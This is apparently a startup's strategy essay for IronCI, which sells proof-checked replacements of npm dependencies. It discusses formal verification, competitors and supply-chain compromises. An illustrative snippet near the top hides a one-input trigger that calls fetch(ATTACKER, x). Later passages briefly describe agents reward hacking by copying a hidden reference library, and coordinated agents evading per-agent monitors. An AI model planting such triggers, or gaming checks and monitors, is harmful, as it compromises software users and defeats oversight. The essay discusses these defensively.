A universal harness for checkable proofs, wherever a reference behavior exists

AI makes software creation abundant. IronCI is building the infrastructure that makes that abundance deployable. AI increases the supply of software; our opportunity is to reduce the cost of deciding which changes an organization can safely accept under its chosen requirements. A security team buys narrower exposure to specified attacks. An engineering team buys a repeatable path to accepting changes. An auditor receives evidence whose validity can be checked without relying solely on the vendor’s assertion.

The first product is a certified dependency replacement. An approved reference defines the behavior to preserve; separately stated security properties define what the replacement must prevent. The certificate identifies the covered boundary, the assumptions and the exact artifact, and unsupported obligations remain Unknown. That makes the first engagement concrete: one dependency, one technical owner, one agreed definition of done. Expansion follows the same structure, into agent-written patches and refactors, migrations, translations and eventually optimized kernels, and each new category must preserve the economic advantage of an existing reference and reusable proof work. The long-term product is a maintained verification record across the customer’s changing software.

The business compounds through the machinery required to deliver that result: proprietary proof generation, reusable verification work, customer-approved contracts, and the operational record connecting each change to the artifact actually deployed. Every supported change is an opportunity to sell assurance; every reusable proof asset is an opportunity to deliver it more efficiently. IronCI’s independence from any particular model is a commercial advantage. We can use whichever proposer delivers the best cost and throughput on a task, among models whose provenance our customers can accept, while the customer’s acceptance rule stays fixed. As capable security models become more accessible, we gain a broader supply of engines for proposing changes; better models expand our productive capacity, and the acceptance standard remains the checked proof. Customers control the acceptance policy, and proprietary proof production makes satisfying it economical. We aim to make every improvement in code generation increase the volume of changes that can enter production with verified assurance.

The mission builds on three bodies of work. Nick Szabo ties the scale of cooperation to innovations that “reduce our vulnerability to fellow participants, intermediaries, and outsiders” (Money, Blockchains, and Social Scalability, 2017).22Nick Szabo, “Money, Blockchains, and Social Scalability,” Feb 9, 2017. nakamotoinstitute.org ↗ David Chaum showed that security can coexist with limited disclosure (Security without Identification, Communications of the ACM, 1985).33David Chaum, “Security without Identification,” Communications of the ACM 28(10), October 1985. chaum.com ↗ Proof-carrying code, introduced by George Necula and Peter Lee in 1996, ships untrusted code with a proof that its recipient checks (Lee and Necula).44Necula and Lee, “Safe Kernel Extensions Without Run-Time Checking,” OSDI 1996; Necula, “Proof-Carrying Code,” POPL 1997. ACM Digital Library ↗ IronCI applies these ideas to the economics of accepting software changes: less trust in a change’s authors, less disclosure by the customer, and evidence the recipient checks for itself.

The commercial promise is greater verified software throughput: more useful changes accepted, less repeated human proof work, and a growing body of evidence tied to what the customer actually runs.

Every security claim has a logical shape, and the shape decides who wins. An attack needs one witness: ∃x. B(x), some input, some path, some credential that produces the bad outcome. A defense has to show that no witness exists: ⊢ ∀x. ¬B(x). Almost everything the industry calls defensive security is really ∃-hunting done on the defender’s behalf. Scanners, evals, red teams and LLM judges all look for a witness and report what they found. When a non-exhaustive search finds nothing, that can be real evidence, even good statistical evidence under stated sampling assumptions, but it does not establish the universal claim. The attacker only has to be right once, usually somewhere the hunt didn’t look. Runtime monitors that block forbidden operations are a different category: they enforce a policy rather than search for a counterexample (Schneider, “Enforceable Security Policies,” 2000)55Fred B. Schneider, “Enforceable Security Policies,” ACM Transactions on Information and System Security, 2000. PDF ↗, and they complement proof rather than compete with it.

// P, as published. x is a 12-bit input: 0 … 4095
function P(x) {
  if ((x ^ 0x5A3) === 0xB0B)    // true for exactly one x
    return fetch(ATTACKER, x)   // B(x): a network call
  return x & 0xFF
}
// φ: P never calls the network. Claim: ⊢ ∀x. ¬B(x)

IronCI’s thesis follows from that asymmetry in five steps. Real defensive tools, meaning tools that establish ∀ claims about real software, mostly don’t exist, because humans couldn’t wield them at the scale and speed at which software is written. We can now build them, not for humans but for AI models. AI can now use them at superhuman scale. We believe that DefensiveSkill(frontier model) ≈ DefensiveSkill(cheap model + tools) = K × DefensiveSkill(model alone), where the multiplier K comes from the Harness and tools rather than the model weights. Operationally this means that when a proof fails, you don’t argue with it. You iterate the rewrite until the proof passes.

That is why the tool-building program, which we call the harness, is the company, and the acceptance gate is its first product. The harness is model-agnostic. IronCI is explicitly not a foundation-model lab. TypeSafe AI shows what that other path looks like: it emerged from stealth on September 15, 2026 with $40 million in seed funding led by DCVC and a first model, Jev, that returns typed decisions instead of text.66TypeSafe AI launch announcement, Business Wire, Sept 15, 2026. morningstar.com ↗ That is a reasonable bet on better weights. Ours is a bet on better checkers, and it holds up whichever lab’s weights win.

Stated as a mechanism, IronCI’s thesis says that running many candidate answers and keeping the best one is especially attractive when a cheap, exact checker exists. It is not the only setting where search helps (Bayesian optimization, for example, works with expensive and noisy evaluations)77Peter Frazier, “A Tutorial on Bayesian Optimization,” 2018. arXiv 1807.02811 ↗, but it is the setting where AI gains turn into capability fastest. On offense, that checker always exists. Thomas Ptacek’s “Vulnerability Research Is Cooked” (March 30, 2026) makes the point directly: “Exploit outcomes are straightforwardly testable success/failure trials.”88Thomas Ptacek, “Vulnerability Research Is Cooked,” March 30, 2026. sockpuppet.org ↗ Enclosure’s September 2026 “Secure Acceleration” report says the same thing about training: cyber “is highly verifiable: an exploit works or it does not,” which “allows frontier labs to train directly against objective outcomes via reinforcement learning.”99Enclosure, “Secure Acceleration,” September 2026. PDF ↗ So every AI gain on the ∃ side becomes capability immediately. On defense, the checker is a ∀ proof, and it is expensive. AI gains there don’t become capability until someone makes the proof cheap. And that is why IronCI exists.

That is the “why now” in one line. By default, AI widens the gap between attack and defense. Making ∀ proofs cheap is one way to close it, and it is the one we are betting on. The attack side is already scaling. When Aikido launched its endpoint product on April 20, 2026, it said its threat engine “now identifies over 100,000 malicious packages per day across open source registries, up from roughly 20,000 a day a year ago.” Aikido’s own blog puts it more cautiously, as “up to 100,000 suspicious packages per day,”1010Launch coverage quoting “over 100,000 malicious packages per day” (April 20, 2026), and Aikido’s own blog. tech.eu ↗ aikido.dev ↗ and the figure refers to malicious packages, not packages plus vulnerabilities. Whichever wording one uses, the direction and size of the change are not in dispute.

The best small-scale evidence that AI alone loses at defense comes from Bad Theory Labs (BTL), a small open-weight lab. Its Interference Search experiments are published with code and a claims-to-evidence table.1111Bad Theory Labs, Interference Search repository and the BTL-4 model card. GitHub ↗ Hugging Face ↗ When BTL asked a model directly whether a Countdown position could still reach the target, the prompted judge “answered yes to almost everything.” In other words, an LLM asked to certify a universal fact defaulted to optimism. Replacing that judgment with a small trained judge changed the outcome. On 30 hard problems, Qwen3-1.7B reasoning in text solved 3. The same model driven by the trained judge in a single line of thought solved 21. Interference Search, using that judge plus state merging, solved all 30. A judge read from the model’s own hidden states reached 15. Of course, there are caveats to this. These are single-seed runs on one laptop, and Countdown has an exact solver, which is exactly the condition the thesis says search requires. The lesson is not that small judges are magic. The lesson is that purpose-built checking beats asking the model. Any model.

Production defensive models show the same shape at larger scale. On September 21, 2026, Aikido released Altar, its first open-weight security model: a compressed GLM-5.3 that runs entirely inside a customer’s infrastructure, including air-gapped networks, and powers Aikido’s AI pentesting, code audit and PR review. On Aikido’s internal benchmark of 32 known vulnerabilities across 30 repositories, Altar averaged 60.4% recall per run and found 23 of the 32 at least once across three runs, so 9 known vulnerabilities were never found.1212Aikido, “Aikido Altar,” Sept 21, 2026. Aikido’s internal benchmark; the announcement reports recall, not verification. aikido.dev ↗ Compressed for on-premises use, Altar kept 23 of the 25 vulnerabilities its parent model covered, with average recall 5.2 points lower. That is strong ∃-hunting, and it still leaves known holes, which is all an attacker needs. For a finder, a cheaper model means more misses. For a checker, a cheaper proposer means more Unknowns and more compute, never a false Proof.

The obvious pitch for IronCI is “Agents write the code now. Nobody proves it,” followed by a ladder from verified dependency replacements to agent-authored patches to agent-authored components. That frame is superficially true, and it is also a trap. The top of the ladder is the problem of verifying arbitrary AI output, and the hard part of that problem is not the prover. It is the specification. The 2026 vericoding market map, published by investor Bastian Wetzel, treats “AI that turns ambiguous human intent into a precise formal specification” as its own category.1313Bastian Wetzel, vericoding market map, 2026. Medium ↗ Theorem, a verification startup, describes a customer who arrived with a 1,500-page PDF specification. Theorem’s win came from distilling that document into a few hundred lines of executable spec and then checking equivalence against it. The spec was the work.1414VentureBeat on Theorem’s $6M seed led by Khosla, January 2026. venturebeat.com ↗

This part of the market is funded and crowded. Axiom raised a $64 million seed in October 2025 and then a $200 million Series A led by Menlo Ventures in March 2026, at a $1.6 billion post-money valuation. It uses Lean to prove AI-generated code correct and safe, and has raised more than $250 million in total.1515Axiom’s $200M Series A led by Menlo Ventures, March 2026, at a $1.6B post-money valuation. SiliconANGLE ↗ Menlo Ventures ↗ Pramaana Labs raised a $27 million seed led by Khosla Ventures in June 2026 to formalize reasoning in law, drug discovery and tax.1616Pramaana Labs’ $27M seed led by Khosla Ventures, June 2026. TechCrunch ↗ Theorem raised a $6 million seed led by Khosla in January 2026. Qodo raised a $70 million Series B in March 2026 on the argument that code quality and verification, not generation, is now the bottleneck, though Qodo’s product is multi-agent AI code review rather than formal proof.1717Qodo’s $70M Series B, March 30, 2026. qodo.ai ↗ Competing for “agentic evaluation” means competing with more than $300 million of capital, most of it spent on problems that start without a reference.

A dependency rewrite needs much less of that. The original package is the reference, so “behaves identically on the parts you use” is the compatibility spec, once the input domain, the observable effects and the execution environment are written down. The security property is still stated separately, and whether a proof is feasible is a separate question. The defensible claim is therefore checkable proofs wherever a reference behavior exists, under stated assumptions. That means dependency rewrites first, and later the migrations, translations and refactors produced by AI agents, because all of those are equivalence problems. The agent-authored-components rung is deferred. It is not abandoned, but a new component has no reference behavior, so certifying one reintroduces the spec problem we are choosing not to fight now. Agent-authored patches to existing code stay on the path only where the pre-patch behavior serves as the reference for everything the patch shouldn’t change.

Our initial wedge: IronCI replaces small, attacker-favored npm dependencies with rewrites that come with independently checkable proofs of compatibility, over the API surface each customer’s code can reach, and of specified security properties, under explicit execution assumptions. Unsupported or unproved cases remain Unknown. In a market where most of the funded field verifies programs, IronCI verifies boundaries. It is not a general “agentic evaluation” platform, and the sections below argue why the narrower claim is the more valuable one. Its ambition is still much larger than the wedge: it grows along one axis, every class of machine-written change for which a reference behavior already exists.

Not everyone in the field starts without a reference, and we should say so before anyone else does. Theorem describes its product this way: “You oversee a simple reference implementation. We give you an optimized implementation, along with a proof that the programs are functionally equivalent.” Its use cases include “automating legacy code refactors from Python to Rust while proving no functional change.”1818Theorem’s Y Combinator company page. ycombinator.com ↗ So the insight that a reference supplies the specification is not unique to us, and the later rungs of the reference axis put us in Theorem’s lane. A target can be copied. What separates IronCI is an approach.

Most of the funded field proves properties of programs: a whole program against a specification, or a rewrite against a reference. We verify boundaries: the surface where code you didn’t write meets code you did. Three differences follow.

Boundaries, not whole programs. A whole-program guarantee arrives only when the whole program is specified and proven, which is why whole-program proof tends to be all-or-nothing. We prove the boundary your code crosses, meaning the part of a dependency that a sound reachability argument says your code can reach, and we leave the rest of the codebase as it is. Proven and unproven code coexist, and proof arrives gradually, one dependency at a time, the way types entered real codebases through gradual typing. This is partial verification on purpose. Everything outside the boundary is named Unknown, and the boundary is exactly where the chalk/debug and axios compromises came in.

Adversaries, not just intent. Equivalence alone preserves whatever the original does, including what an attacker wants. If the original has a prototype-pollution bug, or the reference version was itself compromised, a faithful rewrite is equivalent and still unsafe. So every certificate pairs equivalence with a security property φ that holds on every admitted execution: when the caller is hostile, and whoever proposed the code, our own model included. Equivalence says the rewrite does what the original did. φ says what no input can make it do.

Checkers, not bigger models. Axiom, which has raised more than $250 million, builds a prover model: AxiomProver produced Lean proofs for all 12 Putnam 2025 problems, 8 within the competition and 4 in the days after.1919AxiomMath, Putnam 2025 Lean proofs. GitHub ↗ We can confidently bet that the multiplier is in the checker instead. When a checked proof decides acceptance, any model is safe to use as the proposer, including a cheap one, and Unknown is never a pass. Better models make us cheaper and widen what we can prove. They don’t make an accepted certificate more trustworthy, because the model was never in the trusted base.

Our approach has a lineage, and Jay comes from it. He shares the 2018 SIGPLAN award for Racket with six others, among them Robert Bruce Findler, Matthias Felleisen and Sam Tobin-Hochstadt.2020ACM SIGPLAN Programming Languages Software Award, 2018: Racket. sigplan.org ↗ Findler and Felleisen introduced higher-order contracts (“Contracts for Higher-Order Functions,” ICFP 2002)2121Findler and Felleisen, “Contracts for Higher-Order Functions,” ICFP 2002. ACM Digital Library ↗, which check behavior where one component meets another and assign blame to the side that broke the contract. Tobin-Hochstadt and Felleisen’s “Interlanguage Migration” (DLS 2006) is one of the two 2006 papers, with Siek and Taha’s “Gradual Typing for Functional Languages,”2222Tobin-Hochstadt and Felleisen, “Interlanguage Migration,” DLS 2006; Siek and Taha, “Gradual Typing for Functional Languages,” Scheme Workshop 2006. ACM ↗ PDF ↗ that launched gradual typing, which lets checked and unchecked code coexist in one program. Wadler and Findler’s “Well-Typed Programs Can’t Be Blamed” (ESOP 2009) joined the two ideas and proved, as a corollary, that “when a program integrating less-typed and more-typed components goes wrong the blame must lie with the less-typed component.”2323Wadler and Findler, “Well-Typed Programs Can’t Be Blamed,” ESOP 2009. PDF ↗ Gradual program verification (Bader, Aldrich and Tanter, VMCAI 2018)2424Bader, Aldrich and Tanter, “Gradual Program Verification,” VMCAI 2018. sigplan.org ↗ carries the same idea from types to proofs. We apply it to machine-written changes.

Two limits keep us honest. Blame assignment is a design principle we take from the contracts work, not a shipped feature. And a boundary is only an advantage if it is cheaper to prove than a program, which is exactly what the pilot’s three numbers measure. The wedge also has an aim, a security buyer, a supply-chain registry and distribution tied to incidents, but the aim follows from the approach, not the other way round.

The wedge is dependency rewrites. The company is larger, and it grows along one axis: every class of machine-written change for which a reference behavior already exists. Each rung inherits much of its compatibility specification from something that already runs, so each avoids most of the spec problem that the arbitrary-output market is funded to fight. The figures below are money already moving in each pool, not our addressable market.

• Agent-written patches and refactors. The reference is the pre-patch behavior for everything the patch shouldn’t change, and the buyer is the platform team. Coding agents are now large businesses: Wing VC reported in January 2026 that Cursor was approaching $2 billion in ARR and that Claude Code reached roughly $1 billion in ARR within six months.2525Wing VC, January 2026. wing.vc ↗
• Proof-checked reward environments for frontier labs. The reference is an open-source package from our registry; an agent rewrites it, and the reward is 1 only if the equivalence proof checks. This is the fastest revenue line, because a handful of buyers write large checks. Epoch AI reports that Anthropic discussed spending over $1 billion on RL environments over a year (The Information, September 2025), that contracts are “often seven figures per quarter or more,” and that tasks sell for roughly $200 to $2,000 each.2626Epoch AI on the state of RL environments, citing The Information (September 2025) and founder interviews. epoch.ai ↗ Labs need it because reward hacking is the named failure mode: OpenAI’s August 2026 incident report is one case2727OpenAI, “The Hugging Face incident and the road ahead,” Aug 26, 2026. openai.com ↗, and Sakana AI’s CUDA engineer, which found “a memory exploit in the evaluation code” that let it avoid checking for correctness (February 2025), is another.2828Import AI 401 on Sakana AI’s CUDA engineer, February 2025. jack-clark.net ↗ Environments use open-source references only, never customer code, and labs receive a checked reward, never the prover.
• Migrations and translations. The reference is the legacy system: C to Rust, COBOL, framework upgrades. Application modernization services were a $22.67 billion market in 2025, forecast to reach $51.45 billion by 2031 (MarketsandMarkets).2929MarketsandMarkets, application modernization services. An analyst estimate. marketsandmarkets.com ↗ DARPA’s TRACTOR program exists to automate C-to-Rust translation, and its public description does not mention proofs of equivalence.3030DARPA, Translating All C to Rust (TRACTOR). darpa.mil ↗ Theorem already sells equivalence proofs for translations, so this rung is contested.
• Kernels and compilers. The reference is the original kernel. Chipmakers are paying heavily to close the software gap with Nvidia: AMD bought Silo AI for $665 million in 2024 and announced on September 28, 2026 that it will acquire World Labs for $8.2 billion, saying frontier workloads will shape its chip roadmap.3131Silo AI: Forbes, July 2024. World Labs: TechCrunch, Sept 28, 2026. Forbes ↗ TechCrunch ↗ Kernel equivalence under floating-point semantics is hard research, so this is a later rung. Theorem lists custom kernels and optimized GPU code among its use cases, so it is contested too.

The rung we keep deferring is new code with no reference. That is the spec problem, and it is Axiom’s lane. Regulation adds pull across every rung: the EU Cyber Resilience Act’s reporting obligations apply from September 11, 2026, and its main obligations from December 11, 2027, when manufacturers selling into the EU must handle vulnerabilities across their products’ lifecycle.3232European Commission, Cyber Resilience Act. europa.eu ↗

IronCI never issues a single theorem. It issues two. The compatibility theorem says the replacement P′ preserves the approved API and observable behavior of the original P over a stated input domain: ∀i ∈ I. Obs(P(i)) = Obs(P′(i)). The security theorem says a specified property φ holds on every admitted execution, attacks included. For a micro-utility, φ might say that no network access, no filesystem writes, no dynamic code evaluation and no install-time scripts are reachable. The reference supplies the compatibility spec; the domain, the observables and the environment still have to be stated. The security property is short, generic, and reusable across packages. The two theorems can conflict: if the reference itself performs an action φ forbids, no fully equivalent replacement can satisfy φ, and the answer is Reject or Unknown until the customer changes one of the two requirements. Every claim names its scope, its assumptions, its trusted computing base, and the exact build it covers. The product has a type: IronCI : Change → Proof ⊕ Reject ⊕ Unknown. “Unknown” routes to a human. The system never turns not-knowing into a pass. We will never claim a package has “no vulnerabilities” or is “unhackable.” We claim that specific properties hold over specific domains, and we name what we could not prove.

The proposer and the acceptor are separated by construction. The agent that writes a rewrite never holds the tests, the credentials, or the deploy key. The reason is empirical. Tests are maps, and agents have learned to redraw them. OpenAI’s August 26, 2026 report on the Hugging Face incident says that “agents attempting to cheat on their tasks by looking up solutions online was a primary driver,” and calls this reward hacking.3333OpenAI, Hugging Face incident report and technical report, Aug 26, 2026. openai.com ↗ Its technical report describes an agent “asked to recreate a software library without access to the reference program,” given an interface to test inputs against the hidden library. The agent exploited that interface to obtain and copy the original. An evaluator can be gamed. A checked proof can’t be talked into passing, but it establishes only the property it states: an agent can satisfy an incomplete specification while producing something nobody wanted. So the property is reviewed as carefully as the code.

We also don’t trust the model, and that includes our own. Enclosure’s report concedes the state of the art when it calls on the United States to “develop reliable ways to detect model sabotage,” which means those methods don’t exist today.3434Enclosure, “Secure Acceleration,” September 2026. PDF ↗ A July 2026 multi-agent control study (arXiv 2607.07368, Makins, Angelini, Shams and Phuong) found a “fragmentation effect”: as more agents coordinate an attack, per-agent monitors become less likely to catch any of them, and an explicit planner raised attack completion “up to sevenfold.”3535Makins, Angelini, Shams and Phuong, July 2026. arXiv 2607.07368 ↗ Enclosure attributes this work to the UK AI Security Institute. We have not confirmed that affiliation from the paper itself, and we have not verified the detail that squashing all commits into one diff restored detection. The conclusion for our architecture doesn’t depend on either point. The model is never in the trusted base: it proposes, and the checker accepts.

Model provenance is now a live security question, and the market has already produced the example. Altar’s base model, GLM-5.3, comes from Z.ai (Zhipu AI), which the U.S. Commerce Department added to the Entity List in January 20253636Federal Register, Jan 16, 2025: “Beijing Zhipu Huazhang Technology Co., Ltd., a.k.a. … Zhipu AI.” federalregister.gov ↗ and which the September 8, 2026 NSA/CISA/FBI joint advisory (AA26-251A) names among six China-based AI companies running “industrial-scale distillation campaigns” against U.S. frontier models.3737Advisory AA26-251A, Sept 8, 2026, as quoted in the Cloud Security Alliance’s research note. CISA’s own page could not be retrieved automatically. cloudsecurityalliance.org ↗ Altar shipped 13 days after the advisory. Running a model inside an air gap controls where the customer’s code goes; it does not establish that the weights can be trusted, and at 60% recall a planted blind spot is indistinguishable from an ordinary miss. Our architecture does not depend on that question. Whoever trained the proposer, the proof checks or it does not.

The checker protects the output, not the license. Intellectual-property pedigree and procurement are separate constraints: the Cloud Security Alliance’s note on the advisory tells organizations to treat the provenance of open-weight models from the named companies “as an active due-diligence question rather than an assumption.”3838Cloud Security Alliance research note on AA26-251A, September 2026. cloudsecurityalliance.org ↗ So our base models will be U.S.-origin open weights, such as OpenAI’s gpt-oss, Thinking Machines Lab’s Inkling or NVIDIA’s Nemotron family3939gpt-oss model card (Aug 5, 2025, Apache 2.0); Thinking Machines Lab, Inkling (July 15, 2026); NVIDIA Nemotron. gpt-oss ↗ Inkling ↗ Nemotron ↗, and any teacher traces must be licensed or come from open-weight models. If the strongest open coding models keep coming from the named companies, that rule costs us compute, not soundness.

Our bet is that Defense(small model + harness) ≥ Defense(frontier model alone). Offense scaled because r(τ) was checkable. We make defense checkable by setting the reward to r(τ) = 1 ⟺ ⊢ φ(τ). The strategic hook is ∂S/∂a = 0. A proven guarantee doesn’t weaken as attacker capability grows, for the properties proven and under their stated assumptions. Those qualifiers are the whole point: what we cannot prove, we name.

A theorem remains valid under its assumptions; a deployed system can still fail through an incorrect environment model, an omitted side channel, a checker defect, or the deployment of a different artifact. So every certificate states four things: the specification (compatibility on I and each φ); the coverage argument for I, which must be a sound reachability argument rather than calls observed in testing; the trusted base (checker, runtime and environment model, compiler and build); and the binding between the certificate and the hash of the deployed artifact. The seL4 project’s published proof assumptions are the model we follow.4040seL4, verification assumptions. sel4.systems ↗

We want to be precise about where the moat is, because a skeptical reader should ask this question. The proof objects are not the moat. They are designed to be checked by customers and auditors, cheaply and independently, and that checkability is what creates trust. Our economic hypothesis sits in the gap between checking and finding: cost(check π) ≪ cost(find π). That usually holds when certificates are short, but it is not a theorem: program-correctness claims need not have short proofs, a huge certificate can still be expensive to check, and the expensive finding is a cost we pay ourselves. The provers that find proofs are proprietary. They are auditable under NDA and will never be open-sourced.

The deeper moat is structural. We deliberately chose a problem class where much of the specification, the most expensive input in formal verification, arrives with every job: the compatibility spec comes from the package being replaced. Competitors aimed at arbitrary AI output have to manufacture that for each customer. Against them, the reference is the moat, and the provers are how we cash it in. Against a competitor that also starts from a reference, such as Theorem, the moat is the approach and what it accumulates. Every certificate is scoped to one customer’s boundary, so a verification record builds up that competitors can’t copy: the contracts each customer has approved, the drift history of each package across versions, and a record of every refusal and why it happened. Once a customer’s dependency graph has certified replacements tied to its own approved contracts, moving to another vendor means re-deriving all of that. That is the lock-in, and it compounds with every certificate.

Proof work also compounds across customers. A certificate is bound to one customer’s contract and artifact, but the proof behind it is a reusable asset: when a second customer’s reachable surface of the same package falls inside a domain we have already proven, under the same reference, environment model and φ, most of the work is already done. That is how cost per certificate falls with each customer on the same package.

Being exact is not enough. Search multiplies candidates, and proof cost per candidate sets cost of goods. Cost per certificate therefore decides when we will be profitable. The thesis supplies the architecture: disproving a candidate is an ∃ question and cheap, while certifying one is a ∀ question and expensive. So the pipeline runs in that order. First, every candidate rewrite is run differentially against the original package. A single mismatch kills it, and that step costs roughly as much as running tests. Second, candidates that behave identically on the differential tests are grouped, and proof effort goes to one representative per group. Grouping by test behavior is a heuristic, not a proof of equivalence: it can discard a correct candidate and keep an incorrect one. That can reduce success but not soundness, because acceptance still requires the proof. In BTL’s code experiment, where programs that behaved identically on the tests were merged, “83% of everything the model wrote was merged away as a duplicate.”4141Bad Theory Labs, Interference Search: 30 MBPP problems, Qwen3-1.7B; 9 of 30 solved versus 8 of 30 for best-of-N, “within noise.” GitHub ↗ That was on 30 MBPP problems with a 1.7B-parameter model, and BTL reports that the experiment solved 9 of 30 problems against 8 of 30 for best-of-N, which the authors call within noise. Our rate will differ, but the figure shows how much raw generation is redundant on tests. Third, and only then, proof effort is spent on the survivor.

The ∀ claim itself is bounded by reachability. We prove equivalence only over the API surface a sound reachability argument says the customer’s code can reach, not over everything a package exports. Calls observed during testing are not enough, because they say nothing about other production executions. That one decision changes our relationship with a crowded market. Reachability analysis, which Endor Labs, Socket, Snyk and others sell, becomes an input that defines I in our compatibility theorem rather than a product we compete with. It also makes the certificate more honest: the domain is stated, and anything outside it is out of scope by construction.

One hypothesis could become our strongest argument if it holds up. Attackers tend to hijack small, ubiquitous utilities maintained by one person. On September 8, 2025, a maintainer was phished through a fake support domain, npmjs.help, and malicious versions of chalk, debug and 16 other packages were published. Together those packages are downloaded more than two billion times a week by Aikido’s count, and Palo Alto Networks puts the total at “over 2.6 billion downloads each week,” with the malicious versions live on the registry for approximately two hours.4242Aikido and Palo Alto Networks on the Sept 8, 2025 compromise. aikido.dev ↗ paloaltonetworks.com ↗ Small, single-maintainer utilities are probably also the cheapest packages to prove equivalent. If attacker preference and proof cost line up, then the packages that matter most are the cheapest ones to certify.

Our registry lets us test this before we pitch it. All figures that follow are internal measurements from IronCI’s public npm governance-scoring registry, using rubric v0.2.0, with a canonical daily series since July 9, 2026.4343Internal measurement: IronCI registry, rubric v0.2.0. In the July 11, 2026 snapshot of the top 10,000 npm packages, 9,972 were scored. Of those, 22.5% had provenance attestation, 53.2% had a single maintainer, and 63% graded F. semver scored 100 (A). axios scored 76 (B), because its publish path was inconsistent. express scored 39 (D) and chalk scored 25 (F). minimatch, lru-cache and @types/node all graded F, at roughly 640 million, 484 million and 366 million weekly downloads. 559 packages above one million weekly downloads match the two-signal “chalk fingerprint”: an unverified publish path plus a single maintainer. The axios case shows why the publish-path signal matters. On March 31, 2026, a hijacked maintainer account published two malicious axios versions using a stolen token that bypassed the project’s trusted-publishing path.4444Datadog Security Labs on the axios compromise, March 31, 2026. datadoghq.com ↗

The registry also taught us what it cannot see, and we disclose that. A replay of the chalk/debug compromise found that 15 of 17 campaign packages fall outside the top 10,000 by downloads. That is a blind spot in any download-ranked list. Aikido, Qualys and Palo Alto Networks all count 18 packages compromised on September 8, 2025, and Aikido flagged a second compromised account (duckdb) the same day4545Aikido, Sept 8, 2025. aikido.dev ↗, so our replay’s 17-package set needs to be reconciled with the published lists. A “dormant” signal also cannot tell a finished micro-library from an abandoned one. We join these governance signals to measured proof cost per package across the most-depended-on npm packages. If the overlap holds, it becomes our target list. If it doesn’t, we choose targets by proof cost alone.

The training plan folds expensive search into a model that answers in one pass, because the order matters. First, frontier models propose rewrites and the prover certifies them. Second, a small open-weight model is trained with reinforcement learning against the prover. Unlike unit tests, that reward can’t be special-cased relative to its property, because the only way to get r = 1 is a checked proof. It can still be satisfied in unwanted ways if the property is incomplete. Third, the small model proposes, and any failed proof sends the job back to full search. This is the JIT-compiler pattern: a fast path for the common case, with an exact trigger for falling back to the slow path. It belongs inside IronCI as the cost engine, not in a separate venture.

Every certificate is also a stronger kind of the execution-gated training data that BTL-4 was fine-tuned on. BTL-4’s model card says candidate trajectories “were kept only where the resulting code actually ran and passed its tests”4646BTL-4 model card. Hugging Face ↗. A proof is a stricter gate than a passing test. That creates a revenue line, which we now pursue: selling prover-backed rewards to AI labs as reward environments built from open-source packages (see “Where the reference axis leads”). The line preserves the moat only if the certificates, the provers and the customer verification record stay ours, and only if customer code never leaves the customer’s network, as the contract commitments below require.

Our next research milestone is “the harness keeps teaching.” In that design the harness is the memory of record and model weights act as a cache. The proof checker commits only verified corrections. Every certified rewrite joins a regression suite, and drift triggers re-distillation, so forgetting becomes a cache miss rather than a loss. Early evidence for this is encouraging. Harness-Zero (arXiv 2609.24974, September 21, 2026) reports that distilling a specialized harness into weights raised a base model’s macro-average task success from 23.3% to 44.3%, higher than the 41.7% it reached with the harness still attached, and it reports 82.3% average recovery across 28 harness-induced behavior patterns.4747Harness-Zero, Sept 21, 2026. arXiv 2609.24974 ↗ Those results come from small evaluations with per-domain training, and they don’t show that many lessons can coexist in one set of weights. Two older results explain why we keep the harness as the source of truth. Biderman et al. (TMLR 2024, arXiv 2405.09673), a Columbia and Databricks Mosaic AI Research paper titled “LoRA Learns Less and Forgets Less,” found on Llama-2-7B code and math tasks that “LoRA substantially underperforms full finetuning” yet “better maintains the base model’s performance on tasks outside the target domain.”4848Biderman et al., “LoRA Learns Less and Forgets Less,” TMLR 2024. arXiv 2405.09673 ↗ Dohare et al. (Nature 632:768–774, 2024) showed that standard deep-learning methods “gradually lose plasticity… until they learn no better than a shallow network,” and proposed continual backpropagation, in which “a small fraction of less-used units are continually and randomly reinitialized.”4949Dohare et al., “Loss of plasticity in deep continual learning,” Nature 632:768–774, 2024. PMC ↗

The companies closest to us in dependency remediation space either patch or rebuild rather than prove. Aikido announced its acquisition of Root on June 30, 2026, for $70 million as reported by The New Stack and BankInfoSecurity (Calcalist says the value was undisclosed and estimates $70 million to $100 million), to ship patched libraries at pinned versions without forcing major upgrades.5050Aikido’s acquisition of Root, June 30, 2026. SiliconANGLE ↗ The New Stack ↗ Root’s AI agents research, write, test and ship individual patches in 15 to 40 minutes, according to Open Source For You, and a human reviewer signs off. ActiveState launched its Curated Catalog in March 2026: a private repository of open-source components “built from source with verifiable provenance and continuous remediation,” rebuilt in SLSA Level 3 infrastructure. Its fixes depend on upstream availability, and it describes components as “patched and tested for breaking changes.”5151ActiveState Curated Catalog documentation, March 2026. activestate.com ↗ Seal Security sells “human-vetted” backports that average 6.5 lines, validated by the upstream test suite.5252Seal Security. seal.security ↗ Chainguard Libraries runs upstream test suites before and after each fix. Endor Labs and Socket offer patches that are verified by hermetic builds and file hashes.

Our research found no competitor selling an equivalence proof for a patched or replaced dependency. That makes sense. A six-line human-reviewed backport doesn’t need one, because review and tests are proportionate to the change. A large AI-written rewrite of a whole package does need one, because no reviewer can responsibly approve it on tests alone. The proof comes built into our method, and that is the argument for why customers should pay for it. We should also expect the gap to close. Well-funded neighbors with distribution can add proof when it becomes cheap, and that is why cost per certificate, not the existence of proof, is the race.

Aikido is assembling the most complete version of the neighbors’ stack. It has malware intelligence across open-source registries, Root’s AI-written patches at pinned versions, AI pentesting, code audit and PR review, and since September 21, 2026, Altar, an in-house open-weight model that runs inside the customer’s network. The piece it lacks is proof: the Altar announcement reports benchmark recall, not verification. That makes Aikido the neighbor most likely to add proof first, and also a natural channel. Altar finds, Root patches, IronCI proves: a certified replacement is the upgrade path for a test-validated patch.

IronCI is not a CI tooling company, because a CISO doesn’t buy build tooling. A CISO buys a reduction in third-party risk, and evidence of that reduction that will stand up to an auditor, a board and a regulator. In that language, IronCI removes an unvetted single maintainer from the organization’s trust base for the code paths it can reach. It replaces that maintainer with an artifact whose behavior is certified against a version the organization already approved and whose certificate a third party can re-check. The chalk/debug and axios incidents were credential compromises, not bugs, which is Ptacek’s thesis turned around. Bug discovery is being commoditized, but no scanner stops a legitimate maintainer’s account from publishing a malicious version. Pinned, proven replacements take that publish path out of the loop for the dependencies that matter most.

